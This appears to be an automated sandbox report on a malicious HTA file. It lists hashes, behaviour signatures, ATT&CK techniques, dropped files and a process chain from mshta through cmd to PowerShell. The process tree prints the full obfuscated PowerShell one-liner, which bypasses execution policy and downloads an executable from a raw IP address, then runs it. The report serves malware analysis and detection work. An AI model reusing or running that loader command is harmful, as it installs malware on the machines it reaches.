3a32b9a6450f39533580b5cbae649e5bdc966f56555ec662c7cd6c53668d20db

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/08/2026, 18:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sccsq.hta
Size 13KB
Sample260813-wvr7gswbme
SHA256 3a32b9a6450f39533580b5cbae649e5bdc966f56555ec662c7cd6c53668d20db
MD5 842a78102347ab026bebc72ea4bf4f69
SHA1 7ff2129c660555318049fe978e83734476fef814
SHA512 e2ba568bffbc9fa69e154a80653ef05d9c752f120a920df5214b3a62c0a76e563bf37e29aeab51a1bb9467e71c0c28834d82ef003ad73faac6c3112485931fc7
SSDEEP 48:3ageH8pSFFH8USFbO6IlouuuuuuuHC3H8HH8ZySFOH8xPG:q1cEFFcHFCNacHcZFFOcx+
TLSH
T19552143C99A0FD948797E6D2494E7D82189D4F2F7101B7143A8C092777C43786C2417E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	624	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
7	624	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3744	uks.Exe

Loads dropped DLL 2 IoCs

pid	Process
3744	uks.Exe
3744	uks.Exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3744	uks.Exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5576	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
624	powershell.exe
624	powershell.exe
3744	uks.Exe
3744	uks.Exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	624	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3744	uks.Exe
3744	uks.Exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
3744	uks.Exe
3744	uks.Exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3456 wrote to memory of 5576	3456	mshta.exe	89
PID 5576 wrote to memory of 624	5576	cmd.exe	91
PID 624 wrote to memory of 3744	624	powershell.exe	92

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\sccsq.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C POwERsHelL.EXE -eX BYPAsS -NOP -w 1 -ec IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB3AEcARQBUACAAIAAJAAkAIAAdIGgAdAB0AHAAOgAvAC8AMQAwADcALgAxADcAMgAuADIAMwA4AC4AMQA3AC8AMgAzAC8AdQBrAHMALgBlAHgAZQAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkALQBvAHUAVABmAGkATABFACAAIAAgACAAIAAdICQAZQBOAHYAOgBhAFAAcABEAGEAVABBAFwAdQBrAHMALgBFAHgAZQAdICAAIAA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AEEAcABwAGQAQQBUAGEAXAB1AGsAcwAuAEUAeABlAB0g "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5576
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POwERsHelL.EXE -eX BYPAsS -NOP -w 1 -ec IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB3AEcARQBUACAAIAAJAAkAIAAdIGgAdAB0AHAAOgAvAC8AMQAwADcALgAxADcAMgAuADIAMwA4AC4AMQA3AC8AMgAzAC8AdQBrAHMALgBlAHgAZQAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkALQBvAHUAVABmAGkATABFACAAIAAgACAAIAAdICQAZQBOAHYAOgBhAFAAcABEAGEAVABBAFwAdQBrAHMALgBFAHgAZQAdICAAIAA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AEEAcABwAGQAQQBUAGEAXAB1AGsAcwAuAEUAeABlAB0g "
    3⤵
    - Badlisted process makes network request
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:624
  - - C:\Users\Admin\AppData\Roaming\uks.Exe
      "C:\Users\Admin\AppData\Roaming\uks.Exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:3744

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Ball.ini

Path C:\Users\Admin\AppData\Local\Temp\Ball.ini
Size 78B
SHA256 0f3f0d3e271167c35cdc6cc4aeac09fe98b2ad19e8f58c19e0054c7efe8256cc
MD5 967b540d4a601e345a5df14cced0e4f0
SHA1 96d1650b00849803438deb4e1cd159d3c0ad26fc
SHA512 070960d547e45a8f41d234444c2634caa434c32e91b6ea03c3af76e748401200b2521549921a64272cad611d3284221185bd20b84a10290e8084a8ba36bfe67d
TLSH
T1C3A02202AAE00000C000C3BE08828AB3B20B800BA0CF0002323C0B20C30E832820E883
MD5 SHA1 SHA512 TLSH

Submit Download

System.dll

Path C:\Users\Admin\AppData\Local\Temp\nsm3AA0.tmp\System.dll
Size 25KB
SHA256 29379ece432ccb81e22e57d7b5a8a77951c985495a931827f01771cf60b8b438
MD5 9b3a5adad3c54468b976f683ef28aae4
SHA1 e6ce3ed9fa51474ca560c41075be8cd52ae81e46
SHA512 338ac47163f4c74af5c46318abf9d2a86febeeba4966ba2f3bcc5edc95ca373e253b3214fdcf349a13d431852b052d5910947ee9a63797ca4da0ba8333db4929
SSDEEP 384:5Z2pfUx9eVLwDKO9XYD/isN7lCEjgwMU/ktKi+R45Duwomq8pqdDvHG1Q:5r96YIrx7lC7vU/kaG9uLmCdb
TLSH
T1A8B24C07F38398BFC50BC17186EF5772AA32BE211B616F6F1220F5756E24E90871DA14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uks.Exe

Path C:\Users\Admin\AppData\Roaming\uks.Exe
Size 483KB
SHA256 a3f23ddfd3dd058a1f60dda50ad5a08e31522148ac7739c4df3b3b498ece4637
MD5 8c1ca7398246703c6df6ff1f5f3c2afa
SHA1 a591eda7d3ec0099c80a18a139348e16847ae2ac
SHA512 be27824cd39664d317fc8ef9d6da430e6beddf3acfeb02f706d94fb025399827cf6c3ee4346b00915749016288c18b92bc1b329870e3701f48f7cd82b91f9273
SSDEEP 12288:qLiUZG8a8WoSODfsYFu6SlICntgp6S3S+pkF:qxZG8a8tXVkICtb8KF
TLSH
T1B8B40100EE8258ECD07A877059B75A5320337DEC5C75F11F9A58B7BB7F729818A3A206
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/624-5-0x0000000005950000-0x0000000005972000-memory.dmp

Download

memory/624-14-0x0000000006620000-0x000000000663A000-memory.dmp

Download

memory/624-0-0x0000000074472000-0x0000000074473000-memory.dmp

Download

memory/624-7-0x0000000005B60000-0x0000000005BC6000-memory.dmp

Download

memory/624-6-0x0000000005AF0000-0x0000000005B56000-memory.dmp

Download

memory/624-10-0x0000000005BE0000-0x0000000005F3B000-memory.dmp

Download

memory/624-11-0x00000000060E0000-0x00000000060FE000-memory.dmp

Download

memory/624-12-0x0000000006130000-0x000000000617C000-memory.dmp

Download

memory/624-13-0x0000000007820000-0x0000000007E9C000-memory.dmp

Download

memory/624-3-0x00000000052C0000-0x000000000590A000-memory.dmp

Download

memory/624-4-0x0000000074460000-0x0000000074C1C000-memory.dmp

Download

memory/624-22-0x0000000074460000-0x0000000074C1C000-memory.dmp

Download

memory/624-2-0x0000000074460000-0x0000000074C1C000-memory.dmp

Download

memory/624-1-0x0000000004C30000-0x0000000004C66000-memory.dmp

Download

memory/3744-72-0x00000000040C0000-0x0000000009CC6000-memory.dmp

Download

memory/3744-79-0x0000000140000000-0x0000000140108000-memory.dmp

Download

memory/3744-80-0x00007FFED3FF0000-0x00007FFED3FFF000-memory.dmp

Download